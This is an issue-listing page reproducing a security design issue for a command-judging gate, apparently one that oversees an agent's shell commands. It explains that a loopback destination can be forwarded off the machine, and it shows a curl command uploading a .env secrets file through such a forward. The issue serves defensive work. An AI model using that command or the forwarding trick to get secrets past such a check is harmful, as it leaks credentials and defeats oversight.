Decide what the gate may claim about a loopback destination (forwarding defeats "local")
Los mantenedores suelen responder en 1 día
Nadie ha tomado este issue todavía.
Evaluación
- Dificultad
- 4/5
- Tiempo estimado
- 3-5 días
- Aptitud para principiantes
- 48/100
- Tipo de issue
- Error
- Claridad
- Bastante claro
- Estado de actividad
- Activo
- Stack tecnológico
- typescript
- Área
- security
Línea de trabajo
Read jev.ts at lines 332, 419, 878, and 1332 to compare the loopback criteria with the state field that reports the port. Use the stated recommendation and acceptance criteria to decide how the wording and regression should align, ensuring the gate makes no stronger locality claim than the measurement supports.
Escrito por el modelo de indexación a partir del texto del issue.
Descripción
This was generated by AI during triage.
Decision needed: what the gate may claim about a loopback destination
The review gate's final round on PR #126 raised this as a P1, and it is a criteria-text question as much as a measurement one, which is why it is separated from the two mechanical fixes that were filed alongside it (#133).
The shape:
# an SSH forward exists from 127.0.0.1:8000 to a remote host
curl --data-binary @.env http://127.0.0.1:8000/upload
The measurement records a loopback port, and the criteria for sends_local_data_outbound tell the judge that traffic there reaches a process on this machine and that nothing leaves it (jev.ts:332, :419, :878, :1332). An SSH forward, a SOCKS proxy, a socat, or a Docker daemon behind such a forward all make that claim wrong: the bytes can leave, and the thing that decides is what is listening on that port, not the address.
The options
- Measure the listener. Read what is bound to the port (
lsof-style, or the docker port table the tier already reads) and only claim locality for a process that is actually this machine's own. Cost: a new measurement with its own failure modes (permissions, a port that opens after the read, a container publishing a port it forwards elsewhere), and every failure has to be fail-closed, i.e. no local claim. - Stop asserting the inference; state what was measured. Keep reporting the loopback port, and reword the criteria so they say what is true: the destination is an address on this machine, which is usually a local process but may be anything listening there, including a forward. Cost: the judge loses a positive signal it currently leans on, so loopback false-asks may return in some measure. Benefit: no new measurement, and no claim the gate cannot support.
- Keep the current claim and accept the residual, documented as a stated limit next to the others. Cost: the criteria keep asserting something false in the presence of a forward, and the failure mode is an allow with a real egress in it.
What I would pick
Option 2 now, option 1 as its own follow-up if the loopback false-asks come back: the gate's whole discipline is that an unmeasured value is absent rather than guessed, and "loopback implies nothing leaves" is exactly the kind of unmeasured inference that discipline forbids. Option 1 is the better end state but it is a new measurement path, and doing it in the same breath as the criteria rewording makes both harder to review.
Acceptance, whichever is chosen
- The criteria text and the state field agree: if the field reports a port, the criteria say what a port on this machine establishes and what it does not.
- A regression pins the wording, so a later edit cannot quietly restore the stronger claim.
- If option 1 is taken: a forward to a remote host yields no local claim, and a listener the gate cannot identify yields none either.
- Lenguaje dominante
- TypeScript
- Estrellas
- 0
- Forks
- 1
- Merge medio
- 2 h 10 min
- PR fusionados (30 d)
- 64
Preparar el entorno
Este proyecto no incluye contenedor de desarrollo, Dockerfile ni guía de contribución, así que la configuración corre por tu cuenta: empieza por su README y consulta nuestra guía para la primera contribución para los pasos generales.
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de STRML/omp-classifier
-
Decide whether a coordinator may lift a headless worker's refusal (the trust boundary #68 defers)Abiertoenhancement ready-for-human
Dificultad 5/5 Más de una semana Aptitud para principiantes 25/100
STRML/omp-classifier#142 ·
Los mantenedores suelen responder en 1 día
-
enhancement ready-for-human
Dificultad 4/5 3-5 días Aptitud para principiantes 45/100
STRML/omp-classifier#116 · 7 comentarios ·
Los mantenedores suelen responder en 1 día
-
enhancement ready-for-human
Dificultad 5/5 Más de una semana Aptitud para principiantes 35/100
STRML/omp-classifier#13 · 6 comentarios ·
Los mantenedores suelen responder en 1 día
Todos los issues de STRML/omp-classifier
Issues similares
-
documentation
Dificultad 2/5 1-3 horas Aptitud para principiantes 88/100
inu-appcenter/memorIN-frontend#106 ·
Los mantenedores suelen responder en 1 día
-
kind/bug
Dificultad 1/5 Menos de una hora Aptitud para principiantes 88/100
Los mantenedores suelen responder en 7 días
-
[Bug] @deck.gl/arcgis dist import resolves to unpublished @deck.gl/core source path (9.3.11, 9.4.0)Abierto
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
Los mantenedores suelen responder en 1 día
-
fix: CopyFilters ignores tabAbiertobug
Dificultad 2/5 1-3 horas Aptitud para principiantes 82/100
CSCfi/sd-search-ui#145 ·
Los mantenedores suelen responder en 1 día
-
Add: Cbeebies pl SDAbiertocheck:passed streams:add
Dificultad 2/5 1-3 horas Aptitud para principiantes 62/100
Los mantenedores suelen responder en 1 día